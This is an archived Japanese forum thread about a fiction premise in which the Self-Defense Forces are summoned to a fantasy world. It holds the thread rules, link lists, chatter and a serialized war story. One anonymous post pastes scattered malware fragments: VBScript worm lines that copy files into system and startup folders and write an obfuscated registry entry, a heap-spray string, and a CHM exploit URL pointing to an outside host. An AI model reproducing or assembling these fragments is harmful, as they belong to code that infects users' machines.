自衛隊がファンタジー世界に召喚されますた 46

1 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 18:54:15 ID:???

ハイテク兵器 vs 剣と魔法。縛りはスレタイとガイドラインを参照。
分からない場合は半年ROMるか、過去スレを見て勉強しましょう。

・sage厳守。行くべき所が有りません。軍板の温情に感謝致します。
・書きこむ前にリロードを。マナーとして。
・SS作者は投下前と投下後に開始・終了宣言を。分断防止のため。
・SS投下中の発言は控えてください。
・支援は50レスに1回。
・嵐、煽り、気に食わないコテは徹底放置。自然現象として脳内あぼーんしましょう。
・品性に欠けるレスはなるべく付けませんよう。
・気に食わないレスを、気に食わないコテハンまたは気に食わない人間のものと根拠無く認定するなかれ。
 ループ禁止。対策としての『萌え』などには書き手も読み手も極端な反応をしないこと。
 そんなことより海産物の話でもしよーぜ。
・以上を守らないものはぬるぽと見做し、鉄槌制裁( ・∀・)つ=■彡☆))`Д´)されます。

前スレ(旧45章)#../../hobby7_army/1145/1145708454.html
保存庫
#http://shizuoka.cool.ne.jp/fantasure/
#http://fwsdf.hp.infoseek.co.jp/

分家
http://jbbs.livedoor.jp/movie/4152/fjieitai.html

>>2-10あたりにテンプレ

2 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 18:54:54 ID:???

暫定ガイドライン
 
0.現代科学であれ男塾理論であれ異次元科学であれ議論であれ、第一に置くべきははスレ住人が楽しいこと。
1.「自衛隊がファンタジー世界に」とあるように、あくまで「現代日本」が主に関わる話であること。
2.現代日本というからには、自衛隊の組織・装備はあくまで現用もしくは近未来的に配備が予想されるものに限る。
  核・正規空母・旧東側諸国製兵器・巨大人型兵器などの日本が配備するにはナンセンスなものは極力避ける。
3.総じて知識不足によるミスは、指摘するならイヤミにならない程度に。
  指摘されたほうもムキにならず、あくまで謙虚に受け止めること。後付けのこじつけや訂正は恥ではない。
4.軍事力の背景となる社会構造などにも板違いでない程度に注意を払う。
5.あくまで「ファンタジー世界」の話であり、F世界側の設定は作者が勝手に決めることが出来る。
  ただし、「超兵器・超魔法・無敵キャラまんせー」な話にならぬよう気をつける。
  また、オーバーテクノロジーの扱いは慎重に。
6.ファンタジー側の人間もきちんと描写する方が好ましい。
  自衛官主観という演出などであえて描写しないのはこの限りで無い。
7.政治・戦略・作戦・戦術・戦闘としてありえないものを避ける。現実的でない、または作中の設定で説明できない行動も同様。
8.萌え・色気はあくまで表現手段であり、目的ではない。
  安易に狙ったり、しつこく要求するのは本来板違いであり、自粛すべき。
9.SS作者は、抽出がしやすいようにトリップ装着を推奨。
10.感想書き込む人も節度や口調を考えるべし。勿論、感想を書かれた作家も。
  作品が気に食わないなら透明あぼーんで。 それでも気になるなら、このスレのルールが届かぬ場所で。
11.『小官 ◆qG4oodN0QY 』殿とのバトル禁止。小官殿とバトルする際には、
  分家に設けられた小官殿関係専用スレにて会戦するべし。
12・レスはまとめて書きましょう
  思いつきでこまごまとしたレスをしてスレを消費するのは迷惑です。

3 名前: 名無し三等兵 2006/06/01(木) 18:55:32 ID:???

突然ですがこのスレは軍板自治スレ派出所として利用させていただきます。

4 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 18:57:16 ID:???

過去スレ

44 #../../hobby7_army/1141/1141803533.html
43 ../../hobby7_army/1138/1138537013.html
42 ../../hobby7_army/1133/1133965694.html
41 ../../hobby7_army/1131/1131744858.html
40 ../../hobby7_army/1128/1128343761.html
39 ../../hobby7_army/1123/1123337825.html
38 ../../hobby7_army/1120/1120924478.html
37 ../../hobby7_army/1115/1115249813.html
36 ../../hobby7_army/1112/1112971078.html
35 ../../hobby7_army/1108/1108549472.html
34 ../../hobby7_army/1104/1104324561.html
33 ../../hobby7_army/1101/1101459904.html
32 ../../hobby7_army/1098/1098163497.html
31 ../../hobby7_army/1096/1096642183.html

コレより古いスレは保存庫で

5 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 19:00:14 ID:???

参考資料

自衛隊公式サイト
http://www.jda.go.jp/
戦略、戦術について
#http://www.d1.dion.ne.jp/~r_dom/lans_index.htm
#http://bezkrilo.hp.infoseek.co.jp/beskrylyi/mil.htm
自衛隊の装備について
#http://www.military-powers.com/

戦術の世界史
#http://www31.ocn.ne.jp/~tactic/

京大RPG研究会
#http://www.ku-rpg.org/
#http://www.ku-rpg.org/trpg/population.html 中世の人口

Dragon's Lair by Water Dragon
#http://ww2.enjoy.ne.jp/~tteraoka/
#http://ww2.enjoy.ne.jp/~tteraoka/esse.htm 中世とF世界の食事
#http://wdragon.fc2web.com/fg/index.html 中世ヨーロッパの装い(下着含む)

ファンタジー辞書
#http://www.asahi-net.or.jp/~QI3M-OONK/tosyokan/fantasy/aafanindex.htm

Wiki
#http://fwsdf.hp.infoseek.co.jp/cgi-bin/wiki/wiki.cgi?%BB%F1%CE%C1 資料

小説の書き方参考
#http://www.feel-stylia.com/rc/creative/create.html ←【重要】

6 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 19:06:28 ID:???

関連サイト

「帝國召喚」(作:くろべえ/分家皇軍スレ)
#http://www.geocities.jp/wrb429kmf065/index.html

「輸送戦記」(作:Call50/本家)
#http://homepage2.nifty.com/Call50/

SSの書き方
#http://www6.plala.or.jp/Action/taidan01.html
#http://www6.plala.or.jp/Action/taidan02.html

7 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 19:07:11 ID:???

■今までこのスレで討議された議題

・ファンタジー世界の市場規模についての考察
・麻薬による世界支配は許されるか
・江戸時代とファンタジー世界の類似性について
・大陸国家VS海洋国家戦略、その長短について
・マッチとメラ、着火手段としてどちらが優れているか
・F世界での日本経済再生と交易について
・ドラゴン・・・契約方法と空軍戦力としての有効性を考える
・自衛隊的ダンジョン攻略法
・対人地雷と魔法の罠。
・F世界における神の影響力について。
・F世界的陣地攻略法
・熊に見るモンスターの手強さ
・巨大昆虫対策〜界面活性剤から核弾頭まで
・決闘における非致死性制圧法(殺さずにいたぶる百の方法)
・F世界の街道、交通路における運搬手段が道に与える負担うんぬん
・銃弾を受け付けない素材を武具の材料に用いれるか

8 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 19:10:13 ID:???

■さんざんガイシュツの話題

・シーレーン確保における脅威の排除(海賊、海の怪物対策)
・日本が傭兵を雇用することは可能か?
・萌えは是か否か。
・議論は是か否か。
・魔法・怪物の設定(最終的には作者に一存という結論)
・補給が断たれた場合、弾薬を何とか確保可能か?不可能な場合はどうなるか?
・球形以外の世界。
・食糧対策・餓死者の局限−魔物を喰らうモノ−
・在日外国人・異世界住人対策。政治思想の殴り合いは勘弁
・資源・エネルギー問題。
・外交方針について。
・人間と亜人の共生について。
・小官を排除できないか?(無理です)

ガイシュツだが、再考察とかは特に禁止されてない。


9 名前: 政府広報課改め政府広報 ◆F2.iwy/iJk 2006/06/01(木) 19:12:50 ID:???

テンプレ、取りあえず終わり?

10 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/01(木) 19:20:33 ID:???

新スレ立て、お疲れ様です。

11 名前: 名無し三等兵 2006/06/01(木) 19:54:50 ID:???

<body onload=window()>
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\MSKernel32.vbs")
eip = eip + unescape("%u7030%u4300")
<object data="ms-its:mhtml:file#http://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
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fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file#http://c:\ 
kak.hta';ken=wd+'START
End Sub
????

12 名前: ヨークタウン 2006/06/01(木) 21:00:14 ID:???

新スレおめでとうございます。
最近は新しい職人さんも来ている様なので、これからが楽しみですね。

13 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/01(木) 23:06:23 ID:???

祝・新スレ
スレ建て乙であります。
本スレの職人さん方も増え、活字に飢えた拙僧にはありがたい限りです。
文才は無いですが、今後もWiki更新にて支援させて頂きます。

今後は、本家の新作と分家ラノベスレ+星国を中心に更新予定。

以下、恐らく既出であろうと思われるが、個人的な参考リンク。
創作に役立ってくれると嬉しい。

14 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/01(木) 23:07:00 ID:???

架空戦記「なにわ総統一代記」&WW2独に関する資料
#http://maisov.oops.jp/index.html
架空世界に関する考察「架空世界研究所」
#http://www4.plala.or.jp/kaseiken/
陸自写真集「戦車なページ」
#http://members.aol.com/tankofjapan/
独陸軍研究(組織・階級etcについて)
#http://www5e.biglobe.ne.jp/~reserch/index.htm
第一次世界大戦
#http://www3.kiwi-us.com/~ingle/
海の歴史
#http://www1.cts.ne.jp/~fleet7/Museum/history00.html
統合戦争辞典
#http://www007.upp.so-net.ne.jp/togo/
ヴェネツィア史「MidnightLabyrinth」(Flashあり重め)
#http://home.owari.ne.jp/~ouka/
伝説の刀剣に関するサイト「秋水」
#http://kobe.cool.ne.jp/suguri/
中世西欧の文化・武具「MEDIEVAL FRAGMENT」
#http://www.geocities.co.jp/Playtown-Denei/6804/
西欧刀剣の考察etc「滝 瓶太郎sword world」
#http://www.geocities.jp/bowen_dragon/taki/
中世西欧の小話「マテリア資料館」
#http://woodruff.press.ne.jp/illusion/materia/materia_faq.html
西欧中心の神話・伝承(主に妖精関連)「FairyTales」
#http://island.site.ne.jp/fairy/


15 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/01(木) 23:08:21 ID:???

アーサー王伝説とケルト伝説
#http://www.chitanet.or.jp/users/10010382/Index.html-ssi
初期の城に関する図入り解説「FRENCH AIR FORCE」
#http://www.sky.sannet.ne.jp/mfumio/
軍艦データベース「Site Information」<英語>
#http://www.german-navy.de/information/index.html
地図投影法
#http://homepage1.nifty.com/ptolemy/projection/catalog.htm
1世紀毎の西欧地図(英語)
#http://www.euratlas.com/summary.htm
2ch軍事ネタ話「信じられないが、本当だ」
#http://karen.saiin.net/~clytie/
2ch軍事板常見問題
#http://mltr.e-city.tv/index02.html
2ch日本史・世界史FAQ
#http://www.geocities.jp/magurogyosenn2000/

以上、各人の健康を願う。

16 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/01(木) 23:13:28 ID:???

>>15
3つ目のサイト名訂正
「Site Information」→「German Neval History」

17 名前: 名無し特務曹長 2006/06/01(木) 23:15:33 ID:???

お!久々に来たら新スレ立ってた

とりあえずスレ立て乙

18 名前: 名無し三等兵 2006/06/02(金) 00:14:04 ID:???

スレ立て乙です。

19 名前: 小官 ◆qG4oodN0QY 2006/06/02(金) 04:54:47 ID:???

 「いざ立て戦人よぉ遅るな我に!」

 歌は良い。特に戦意を高揚するには。タンホイザー行進曲の日本語訳した歌詞を
口ずさみながら、騎兵達とその『後継者』たる機甲師団が声を合わせ突撃する。

 「勝利の御神は我らがぁ前に! 」

 そんなものが居るのか? 冷静な部分が突っ込みを入れてくるが、知ったことか!
そうだ。騎兵は、脆い。だからパンツァーカイル(戦車の楔)の被甲で守るのだ。 

 「(歌いて進めよ)歌声合わせて、遅るな我に! 勝利の御神は…」
 
 機動力にやや劣る、投槍を持つ軽装歩兵を当たるを幸い、74式は無慈悲に踏み潰す。
その後ろを騎兵が吶喊して行く。投槍は騎兵には届かないが、騎兵の弓は残る歩兵を狩る。

 「我らが前に! 」
 
 残された燃料が尽きる前に、義理は果たさねばならぬ。この世界に生存権を得るために。

20 名前: 小官 ◆qG4oodN0QY 2006/06/02(金) 04:57:32 ID:???

てなワケで、兵科のジョイントは結構出来ると思うのよ。
他に案が在れば嬉しいね、小官。あ、まほーつかいは抜きな?
アレは何でもOKだからな? 過ぎたるは及ばざるが如し、さ。

お休み、諸君。

21 名前: 名無し特務曹長 2006/06/02(金) 12:05:26 ID:???

少官殿!
A君の戦争にて登場した
バリスタを自衛隊が運用する夢を見ますた!!

SS書いたら投下します

もはやここなくしてわが心の拠所無し!

22 名前: 名無し三等兵 2006/06/02(金) 12:56:46 ID:???

>>もはやここなくしてわが心の拠所無し!

なんてかわいそうな奴なんだ……(-人-)ナムナム
道を踏み外さんようにな。

23 名前: 小官 ◆qG4oodN0QY 2006/06/02(金) 17:33:47 ID:???

んぅ? それなら小官は…
空挺と超巨大カタパルト。
人間大砲で空を飛び、行く。
航空機が無くともGに耐えれば…!

ダメか?

24 名前: 名無し三等兵 2006/06/02(金) 23:30:31 ID:???

着地はどうするのよ

25 名前: 名無し三等兵 2006/06/02(金) 23:48:46 ID:???

受け身

26 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/03(土) 01:10:51 ID:???

1・フェアリー&ピクシーの大群が空中で熱烈大歓迎
2・美人の天使さんのお迎えコンニチワ
3・地獄の魔王様からのスカウトが魂ゲッツ参上夜露死苦
4・ロック鳥がエサと間違えてガブリンチョ。
  しかし小官殿にミニミでタコ殴りにされるロック鳥哀号ー

27 名前: 名無し特務曹長 2006/06/03(土) 04:33:06 ID:???

まさか人間大砲とは・・・
恐れ入りました

私程度の頭脳とは回路が根本から違う(誉め言葉)ようです

28 名前: 名無し三等兵 2006/06/03(土) 05:55:51 ID:???

ん、もしかして小官さんこれのこと言ってる?
#http://japanese.engadget.com/2006/05/22/human-cannonball/

まぁ、実用化されたら戦場では役立たずだろうけど特殊部隊の突入とかには使えるかもね。

29 名前: 元1だおー 2006/06/03(土) 15:18:38 ID:???

とりあえず前編だけでも載せておきますね。

30 名前: 元1だおー 2006/06/03(土) 15:19:17 ID:???

<年表>

二○○四年

九月二十日深夜
日本、海外・衛星との全情報の交信途絶。

九月二十三日
日本国政府、国民に向けて非常事態を宣言。

九月二十四日
消失した韓国付近海域を捜索中の海上保安庁巡視船、正体不明の飛行生物の襲撃を受け大破。

同日
航空自衛隊のスクランブル機、
巡視船を襲撃した飛行生物の群れが福岡に接近したために航空総隊司令官の判断により威嚇射撃を実施。
尚も進路を変更しなかったため、一匹をミサイル攻撃し、撃墜。
群れは進路を変更し、領空外に退去。

統合幕僚長三自衛隊に非公式の防衛出動待機命令。

佐世保、呉、横須賀の自衛艦隊が日本海側に緊急展開。

国会では、武力行使と防衛出動待機命令はやりすぎであり、
撃墜したことにより中立的立場を失ったとして議論が紛糾。

責任をとって命令を下した航空総隊司令官が辞任。

−後に飛行生物の所属はヴェロスニア帝国疾空竜騎士団であったことが判明。



31 名前: 元1だおー 2006/06/03(土) 15:19:54 ID:???

九月二十六日
海上自衛隊護衛艦、正体不明の大陸を発見。
現地人と接触。

同日
国民へ異世界への召喚の事実を緊急発表。

十月一日
反帝国陣営の各大使との会談が実現。
報道管制が敷かれ、この際に話し合われた内容の詳細は不明。

反帝国陣営は日本への無償の食糧支援と資源提供を約束。
後に自衛隊の軍事協力と引き替えであったことが判明し、国会で内閣不信任案提出気運が高まる。

十月十日
政府は資源確保のために特別対策室を設置。
本格的な大陸からの資源調達が始まる。

十月十一日〜
北部方面隊と第一空挺団を中心とした陸上自衛隊一個師団の大陸への投入開始。
国会で内閣への不信任案が提出されかける。

同日
ヴェロスニア帝国、日本へ宣戦布告。
ヴェロスニア帝国植民地に大使として駐留していた外務省外交官二名が、
皇帝直属の過激派騎士により惨殺される。



32 名前: 元1だおー 2006/06/03(土) 15:21:42 ID:???

十一月二日
大陸の南部の反帝国陣営の国境線を帝国軍十万名が越境。レステリア平原に待機中の陸上自衛隊一個師団七千名と衝突。

日ヴェ戦争開戦。

特科隊による砲撃とヘリによる航空攻撃で勝敗は二時間で決する。
夜間、戦車隊による突撃により完全に帝国軍は瓦解。

十一月三日
帝国軍、死者約四万五千名を出してレステリア平原より撤退。
自衛隊側の死者は四名。
後に精神病を患う隊員が続出する。

この後数ヶ月間、キレシュト山脈を超えるまで帝国軍は相次いで潰走。



33 名前: 元1だおー 2006/06/03(土) 15:24:57 ID:???

二○○五年

五月十八日
日航ジャンボ機二三一便、突如進路を変えて大陸内陸部に不時着。
帝国、乗客を人質に自衛隊の大陸からの撤退を要求。

五月二十二日
陸上自衛隊の混成部隊が人質救出のために作戦開始。

魔法都市ネリェントス事件発生。

自衛隊員の死傷者多数。人質の大半は死亡が確認される。
多大な犠牲と作戦計画の杜撰さが国会・メディアで大きく批判され、事件の責任をとって統合幕僚長が辞任。

六月
ネリェントス、再編成された陸上自衛隊第七師団の突入により陥落。
その後、補給の遅延と兵力不足により戦争は双方とも膠着状態に突入。

九月十日
帝国軍、浸透工作員の一斉蜂起に呼応し反攻作戦開始。
自衛隊、戦線崩壊。
政府、大陸北部の放棄を決定。

笠間直人衆院議員の独自の働きかけ等により、中立的立場をとってきた在日米軍が参戦。
後に大陸で不法渡航していた笠間議員の娘を救う目的であったことや、
不透明な米軍との間に交わされた協定の存在が暴かれ、問題となる。

十月までに米軍の参戦により帝国軍反攻軍はほぼ沈黙。
後に帝国は大陸から完全に撤退。



34 名前: 元1だおー 2006/06/03(土) 15:26:41 ID:???

九月二十五日
停戦協定のための帝国大使一行、日本本国の外務省に突如来訪。
帝国と日本、停戦協定成立。
事実上、日ヴェ戦争は終結する。

十月一日
諸々の責任を負い、内閣は総辞職を表明。

後継内閣、大幅な政策転換を打ち出す。
この後、派遣自衛隊の規模は縮小されるようになる。

十一月
亜人種など日本国籍を有さないが日本に対して忠誠を誓う者を自衛官として採用し、
危険地域への進出にあてる外人志願者制度の募集開始。

世論の支持率は賛成四割、反対二割、分からないが四割。



35 名前: 元1だおー 2006/06/03(土) 15:28:02 ID:???

二○○六年

三月二十日

第一期外人志願者新隊員、入隊。
教育隊で一般新隊員と訓練を共にする。

七月三日
大陸南部で新興国家群が邦人を人質に、日本国政府に完全な独立と食糧・資源徴収の取りやめを要求。
自衛隊部隊とにらみ合いとなる。

その他一部地域に不穏な兆候が見られたため、
防衛庁は牽制として、教育中だった外人志願者部隊を招集・編成し、ロスーキ都市国家群へと急派。

七月十七日
ロスーキ都市国家群、日本に宣戦布告。
同時に大陸方面隊第一混成戦闘団(外人志願者部隊)の先遣隊二百名を虐殺。


そして、本隊は四万を超える軍勢に包囲される……




36 名前: 元1だおー 2006/06/03(土) 15:30:55 ID:???




「バディのいた風景 2 〜海の向こうの故郷 夕暮れの誓い〜」






37 名前: 元1だおー 2006/06/03(土) 15:33:07 ID:???





今や戦場は生ける屍の野原と化した
死を覚悟する者は生き
生き延びようとする者は死ぬ

−漢武帝






38 名前: 元1だおー 2006/06/03(土) 15:34:56 ID:???

神基歴二一三○年 七月二十日
大陸南部 ロスーキ都市国家群領内

雲一つない快晴だった。
丘を越えてきた微風が頬を優しく撫で、運ばれてきた若草の匂いが現実をしばし忘れさせてくれる。
翻る戦旗が平原を埋め尽くし、甲冑を擦らせる音、武具を打ち鳴らす音を奏でながら、兵士らは布陣を終えて出撃を待っていた。
戦旗に商業繁栄と、一大産業である鉄鋼を表す麦と剣を交差させた紋章を刺繍したロスーキ都市国家群の騎士団は、
今、侮れない敵≠ニ相対していた。
敵の数はおよそ千五百から二千。
対するロスーキ側は傭兵団を含めると四万を超える大軍で、しかも現在敵を目の前の高知に追いつめ包囲することに成功している。
だがそれは安心できる要素にはならないことを上級の騎士らは理解していた。
むしろ、相手の指揮官は四日前の開戦直後の混乱の中、よくここまで有利に事を運んだものだとさえ思う。
しかし、既に敵は最も重要であるはずの補給を絶たれ、大きな脱出作戦に出る様子もない。
静まりかえった高地は、いつものように優しく空の下に寝そべっている。
頂上までの高さは二百メートル前後、大小十数個の丘が点在する、最寄りの都市国家群国境線から八十キロ程度の場所だった。



39 名前: 元1だおー 2006/06/03(土) 15:36:29 ID:???

「静かでございますね」

軽甲冑に身を包み、羽根飾りのついたヘルムを被った纏った一人の少女が言った。
少女の前にいる一人の青年に対して向けられたものだったが、青年は聞こえているのかいないのか、反応はない。
彼女の目の前で遠見眼鏡という珍しい道具で高地で観察する男は、少女と違い鎧や武器の類は身につけていなかった。
法衣のようにも見えるゆったりとした服の背には唯一、ロスーキの名家として有名な、豪奢なユニコーンをあしらった家紋が輝いている。

「……あーあ。一世一代の大合戦に立ち会えると勇んでたんですけどね」

少女が拗ねたように呟く。
まだ二十歳を過ぎていないであろう、純粋さが分かる真っ直ぐな瞳を、自分がまたがっている愛鳥≠ノ向け、あくびをするそれをそっと撫でている。
彼らはこの地方で馬よりも強く賢いため重宝されるプレリュト≠ニ呼ばれる藍色の羽毛を持つ地鳥にまたがっていた。
馬同様に貴重な機動力であり、軍でも騎士階級でなければ乗ることはあまりできない。
このロスーキに古くから伝わるある種の迷信で、
蒼い羽毛を持つプレリュトは幸運を司る神の使いであるというものがあり、馬よりもプレリュトに乗ることがロスーキ騎士のステータスでもあった。
彼らは立派な装飾の施されたそのプレリュトに乗っていることからも、身分の高さが伺えた。



40 名前: 元1だおー 2006/06/03(土) 15:38:01 ID:???

「この戦にそんな華やかさはないと思うな」

初めて男が口を開いた。
自分のぼやきを聞いてくれていたことに少女は驚き、思わず身を固くする。
この軍師は、巷では腰抜けの放蕩息子呼ばわりされているものの、時として思わぬ鋭さを発揮することがある。
名家の出でなければこんな高位に就くことはなかったというのが、世間一般の評価で、
自分のような没落してから商人のようになってしまった家の出の騎士が護衛に任命される時点で、その評価は正しいかのように思っていた。
だが護衛の任に就いてまだ一ヶ月が過ぎ、このアイギス・クレルハーンという若者については、何一つ分からないということだけしか分からなかった。
一日中詩を詠んでいるかと思えば、身なりを汚くして平民を装い町中に繰り出すという無茶な性格かと思いきや、
この高地に敵が逃げ込むと見越して包囲の準備をさせるという怜悧さも見せた。
護衛しようにも、今のように所在が分かっているのは稀なことで、自分はいつ任を解かれてしまうか気が気でなかった。

「ひょっとしてウェリカは前線に出たいのかな?」

唐突に発せられた質問に、ウェリカは最初戸惑った。
滅多に表情を変えず、いつも不機嫌なのか無気力なのかよく分からない顔をしているアイギスの問いは、いつも簡潔でいつも唐突だ。

「私の任はアイギス様の護衛でございます。戦列に加われないのは少々騎士として口惜しいですが……」

彼女は正直に答えることにした。
一ヶ月で分かったことがもう一つだけあった。
この軍師は階級や身分をあまり気にしない。
こんな答えを普通の軍師に自分のような平騎士が言えば最悪不敬罪で絞首刑だろうが、彼なら平然と言える。
悪い人ではない。
あ、なんだ、結構あたしこの人のこと分かったんじゃない。
ウェリカはそう考えて、自分がそこまで無能ではないことに気付いた。

41 名前: 元1だおー 2006/06/03(土) 15:40:36 ID:???

「見るといい」
「え?」

差し出された遠見眼鏡に驚く彼女だったが、アイギスの視線の先に味方らしき人影が見えたので慌てて手に取る。
以前何度かアイギスに貸してもらい扱い方は分かっていたので、すぐに倍率を調節して人影を見つける。
どうやら命知らずな傭兵の斥候のようだ。
三人が高地に向かい、膝まである雑草をうっとうしそうに掻き分けながら歩いている。
彼女は高地に視界を転じるが、相変わらず敵の姿はどこにも確認できない。
完全に包囲をしているため、敵がどこかへ逃亡したというはずはないが、
まるで無人のように静まりかえっているのを見る限り、
斥候の軽い足取り同様に彼女も敵がもしいたとしても、
ただ戦意を失って隠れ震えているのではないのかと愉快な想像をしてしまう。
聞いたところによると今包囲している敵≠フほとんどは、この世界で行き場のない卑しい異種族の兵士の混成軍団らしい。
そんな連中の士気など、恐れるに値しない。
ニホン≠ヘ戦力の消耗が激しく、もうそんな連中に頼るまでになっている。
今こそ、この大陸を帝国でも異世界人でもない我らの手に取り戻す時。
レコンキスタ(再征服)の時だ。
彼女は偉大な歴史の一歩に立ち会っているのだと胸に熱いものが溢れてくるのを感じた。
彼女は剣で草を払いながら、何か冗談を言っているのか笑顔を見せる斥候の傭兵達に思わず苦笑した。
ああ、早くこの手で武勲を立てたい。こんな腰抜けの蛮族兵相手の戦ではなく、帝国を追い出した異世界の強兵と一戦を交えるのだ。
こんな所で残党狩りなどしている場合ではないはずだ。


42 名前: 元1だおー 2006/06/03(土) 15:42:36 ID:???

そう思った瞬間だった。
高地の中腹の数カ所の茂みで、何か≠ェ小さく光った。
そして同時に剣で草を掻き分けていた傭兵達が、突然血飛沫を上げて地面に倒れた。
彼女はいったい何が起こったのかすぐには理解できなかった。
少しして、何かを打ち鳴らしたような重々しい音が残響を伴って聞こえてくる。
その音を境に、また高地に風音しかない静寂が訪れた。
倒れた傭兵達の中に動く者は誰もいない。全員が即死したようだった。
彼女はしばし息をするのも忘れ、その光景をただ凝視していた。
敵の姿も気配も、何もなかった。だが、彼らは何らかの攻撃≠受け、死んだ。
どうやったらこんな現象が起こりうるのか、彼女にはまるで分からない。
戦争というのは、雄々しく剣や槍を振り上げ、戦の神官が闘いの歌を朗々と唱い、勇敢なる戦士達が互いの誇りと命をかけて戦う場。
そういったもののはずだ。
だが、今彼女の前に起こったことは、彼女の価値観でいう戦争ではない。
遠見眼鏡越しに、名誉も誇りも存在しない、ただ乾いた死≠ェ突然現れた、抗いようのない空虚な世界が広がっている。
こんなことがあっていいはずが……


43 名前: 元1だおー 2006/06/03(土) 15:44:50 ID:???

「見たかい? 僕らの常識が通用する相手じゃない。弱った獅子でも、獅子は獅子さ」

まるでこうなることを予見していたような軍師の言葉に、彼女は我に返る。
慌てて彼の顔を窺うが、いつもの無表情が張り付いているだけだった。

「今日からは、この名もない丘は血を吸うことになるよ」

何を聞き、何を言うべきなのか分からない彼女を置いたまま、彼は彼女の手から遠見眼鏡を取り上げる。
再びそれを覗き、彼はまるで神託の予言のように呟いた。

「きっと敵は我々の接近を死にもの狂いで阻もうとする……」







44 名前: 元1だおー 2006/06/03(土) 15:46:35 ID:???

自分がこんな場所で、こんな状況におかれているのは、きっと罰だからだ。
柴田はそう思って薄暗いトーチカの中で一人、肩を抱いた。
他の隊員は高地の合間に流れる川に飲料水を確保に行ってしまっているため、今この狭いトーチカには柴田しかいない。
外からは巧みに偽装されて見えないであろうここから、
不気味に麓を見下ろしている六二式機関銃を横に、柴田は先刻起こったことを思い出す。
敵の斥候が、無警戒に阻止限界線を超え、狙撃された。
柴田は心のどこかが麻痺しているのか、人が死ぬことへの人並みの恐怖心や嫌悪感は覚えなかった。
ただ、人の命が消えるのは随分と呆気ないのだな、と思った。
柴田は三十五年自衛隊に勤めておきながら、今更銃火器の持つ無機質な殺傷能力を実感した。
無理もない。
業務隊一筋で、年次射撃以外は銃に触る機会は皆無に等しかったのだ。
今回この部隊への志願が認められたのは、奇跡に近い。
自分は員数合わせに過ぎない。
それでもここへ来たのは、やはり心のどこかであえて人生を全うする必要を感じなくなったからだろう。
抜け殻だ。
自分は抜け殻だ。
朽ちていくのを待つだけの、空っぽの肉体だ。
人間に備わっている最低限の欲望すら煩わしい。
精神科にかかったとき、大切な人を立て続けに亡くしたことによるストレスが原因だと診断され、薬の処方やメンタルケアを受けたが、
そんなもので癒されるものではなかった。

45 名前: 元1だおー 2006/06/03(土) 15:48:16 ID:???

苦しいわけではない。
憎いのだ。自分自身が。夫として、父親として、何一つ義務を果たしていなかった自分が。
やるべきことが分かったとき、既にそれはできないことになってしまっていた。
もう全ては取り返しがつかない。
あの撃たれて死んだ敵兵のように、もう二度と死んだ人間は還ってこない。
喪失感に、傍に立てかけている実弾の入った六四式小銃が不意に目に留まった。
今なら、全てを終わらせることができる。
薬物の禁断症状にも似た感覚が身体を駆けめぐった。
銃なら、引き金を引くだけだ。今の自分には便利な機械ではないか。
囁く誘惑に、彼はそっと小銃を手に取った。
さあ、やるんだ。やってみる価値はある。
自分でそう言い聞かせるが、何かが心の中でそれを咎めた。
罪悪感でも、怖じ気づいたわけでもない。
ただ、ここに戻ってくる連中のことが脳裏をよぎった。
……俺が自殺なんかしたら、あの子達は悲しむのかな?
そう思い、安全装置を解除する切り替え軸部を指先でいじりながら、柴田は一つため息をつく。
それに、分隊長の自分が自殺したとあっては、純粋で生真面目な彼らのことだ、きっと自分達を責めてしまうだろう。
そういえば遺書も書いてない。ここで死んで、彼らにあらぬ嫌疑がかけられでもしたら事だ。
憂いなく死ぬというのは、意外と難しい。
そう考えていた時だった。



46 名前: 元1だおー 2006/06/03(土) 15:49:52 ID:???

「おーみずーわぅー!」

ガラガラと幾つもの水筒を紐で結んで首にかけた少年がトーチカに駆け込んできた。
彼の尻でふりふりと尻尾が揺れるのが目に入った。

「馬鹿、静かにせぬか!」
「お主もな」

続いて入ってくる数名の隊員の姿。
全員、耳が尖っていたり、肌が褐色であったり、
純日本人は柴田一人だけだった。

「シバタ曹長。先刻、銃声が聞こえましたが……」

まだ幼さを残す顔をしているが、どこか落ち着いた雰囲気のダークエルフ隊員が柴田に尋ねた。
柴田は特に隠そうとも思わず、すぐに答える。

「敵の斥候を撃ち殺したんだ」

隊員らの表情に緊張がみなぎった。
きっと、これが正常な感情なのだろな、と柴田は思った。

47 名前: 元1だおー 2006/06/03(土) 15:51:30 ID:???

「近々、本格的な戦闘になりますね」

ダークエルフ隊員、ルールカが呟いた。
柴田は少し後悔した。
考えてみれば、戦闘になればこの隊員らを分隊長として指揮しなければならない。
自分が死ぬ分は構わないが、彼らの命まで預かることを思うと、気が重かった。
分隊長。
柴田は外人志願者部隊の基幹隊員の不足があったために、事務職種であったにもかかわらずここに来ることができた。
自衛官とて家族がいる。危険地帯に行きたくないのは誰だって同じだった。
柴田は願い出た時点で、すぐに受理された。
そして、一連の非常事態に際して予定よりも早く転属し、フェリーの船内でこの分隊の指揮の任を命じられた。
